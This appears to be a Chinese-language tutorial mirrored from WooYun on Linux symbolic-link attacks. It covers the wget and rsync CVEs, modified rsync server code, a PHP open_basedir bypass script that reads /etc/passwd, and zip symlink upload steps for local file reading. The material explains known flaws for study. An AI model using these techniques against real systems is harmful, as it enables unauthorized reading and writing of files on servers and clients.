linux symbolic link attack tutorial

wyzsk發表於2020-08-19
作者: Yaseng · 2015/01/27 10:01

0×00 前言


Linux作為應用最廣泛的開源系統,其中獨特的檔案系統可以算是支撐Linux強大功能 的核心元件之一,而在檔案系統中,符號連結(symbolic link )形如"月光寶盒"般可以穿 梭時空,自由穿越森嚴的路徑限制,此一特性,使其地位在整個Linux系統中佔有重要 一席,本文將透過實際分析與研究,深入探討因對符號連結處理不當,可能造成的各類 安全問題,以引發對此類問題的重視。

0×01 客戶端


客戶端遞迴處理檔案時,透過符號連結穿越可造成任意檔案寫入,程式碼執行。

案例:

1. Wget ftp symbolic link attack (CVE-2014-4877)


wget 遞迴下載ftp站點時,如 wget -m ftp://127.0.0.1,在服務端偽造如下資料

lrwxrwxrwx 1 root root 33 Oct 11 2013 fakedir -> /tmp
drwxrwxr-x 15 root root 4096 Oct 11 2013 fakedir

會在本地建立一個名稱為fakedir的symbolic link ,指向/tmp 目錄,當wget 傳送 cwd 指令遞迴進入fakedir 在傳送 LIST 指令。此時可以偽造一個惡意檔案或者

目錄比如:

-rwx------ 1 root root 21 Aug 29 2013 pwned

RETR 指令下載pwned 檔案時,返回檔案內容(二進位制或者文字)。即可欺騙wget 客戶端任意目錄寫入。

具體利用指令碼: https://github.com/yaseng/pentest/blob/master/exploit/wget-symlink_attack_exploit.py

漏洞演示:

Server(attacker)  wget-symlink_attack_exploit.py
Client(victim)    wget -m ftp://127.0.0.1

enter image description here

2:Rsync path spoofing attack vulnerability(CVE-2014-9512 )


筆者分析wget漏洞之後,發現rsync遞迴同步檔案時,同樣可以用符號連結來 欺騙路徑,由於rsync雙向檔案處理演算法比較複雜,無法直接用字串偽造檔案流。 首先rsync共享資料夾新建symbolic link 指向/root/,

[[email protected] rsync]# ls  -lh
total 8.0K
-rw-r--r-- 1 root root    2 Oct 31 03:16 1.txt
lrwxrwxrwx 1 root root    6 Oct 31 05:09 fakedir -> /root/
drwxr-xr-x 2 root root 4.0K Oct 31 05:08 truedir

truedir 中寫入測試檔案

[[email protected] rsync]# cd  truedir/
[[email protected] truedir]# ls
[[email protected] truedir]# echo rsync  test  >  pwned
[[email protected] truedir]# ls -lh
total 4.0K
-rw-r--r-- 1 root root 11 Oct 31 05:17 pwned
[[email protected] truedir]# 

再修改服務端傳送檔案列表的程式碼

#!c
file: rsync-3.1.1/flist.c    line:394
static void send_file_entry(int f, const char *fname, struct file_struct *file,
#ifdef SUPPORT_LINKS
                const char *symlink_name, int symlink_len,
#endif
                int ndx, int first_ndx)
{
  if(strcmp(fname,"turedir/pwned") == 0){

    fname="fakedir/pwned";  // symbolic link 
//change  file  true path(truedir) to  symbolic link  (fakedir)
)
}

由於服務端有嚴格的資料校驗,此時會報錯 "received request to transfer non-regular file fakedir/pwned.test 7 [sender]",導致客戶端同步無法執行 但是對於攻擊者來說,服務端是可控的,找到對應程式碼直接註釋。

#!c
/* if (iflags & ITEM_TRANSFER) {
        int i = ndx - cur_flist->ndx_start;
        if (i < 0 || !S_ISREG(cur_flist->files[i]->mode)) {
            rprintf(FERROR,
                "received request to transfer non-regular file: %d [%s]\n",
                ndx, who_am_i());
            exit_cleanup(RERR_PROTOCOL);
        }
    }
*/

漏洞演示:

enter image description here

client(victim):

enter image description here

0×02 web 程式


當透過http訪問檔案時,web server 對符號連結處理不當可能導致越權訪問,檔案 讀取等安全隱患。

案例:

1. php 通用繞過 open_basedir 讀取任意檔案


使用函式symlink 與 mkdir 建立一個指向目標的符號連結,程式碼如下

#!php
<?php
mkdir("abc");
chdir("abc");
mkdir("etc");
chdir("etc");
mkdir("passwd");
chdir("..");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");  //刪除
mkdir("tmplink");
?>

生成檔案

drwxr-xr-x 4 www www 512 Oct 20 00:37 abc
lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd
- -rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
- -rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink

exploit 已經指向/etc/passwd,透過web server 如Apache 直接靜態訪問,可以繞過php open_basedir 保護讀取檔案。

2. facebook 本地檔案讀取


當服務端會自動解壓zip,tar 等支援符號連結的壓縮格式時。可以透過符號連結讀取伺服器檔案 例如facebook 本地檔案讀取

1. 建立一個符號連結檔案指向/etc/passwd 

ln -s /etc/passwd link 

2. 壓縮檔案,同時保留連結 
zip --symlinks test.zip link 

3. 上傳test.zip檔案,系統會自動解壓縮 

4. 頁面當中會返回/etc/passwd的內容

如圖

enter image description here

0×03 參考連結


1:CVE-2014-4877 wget ftp下載資料夾連結欺騙漏洞分析 http://xteam.baidu.com/?p=30

2:Rsync path spoofing attack vulnerability http://xteam.baidu.com/?p=169

3:Php open_basedir bypass http://cxsecurity.com/issue/WLB-2009110068

4:Reading local files from Facebook's server http://josipfranjkovic.blogspot.com/2014/12/reading-local-files-from-facebooks.html

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章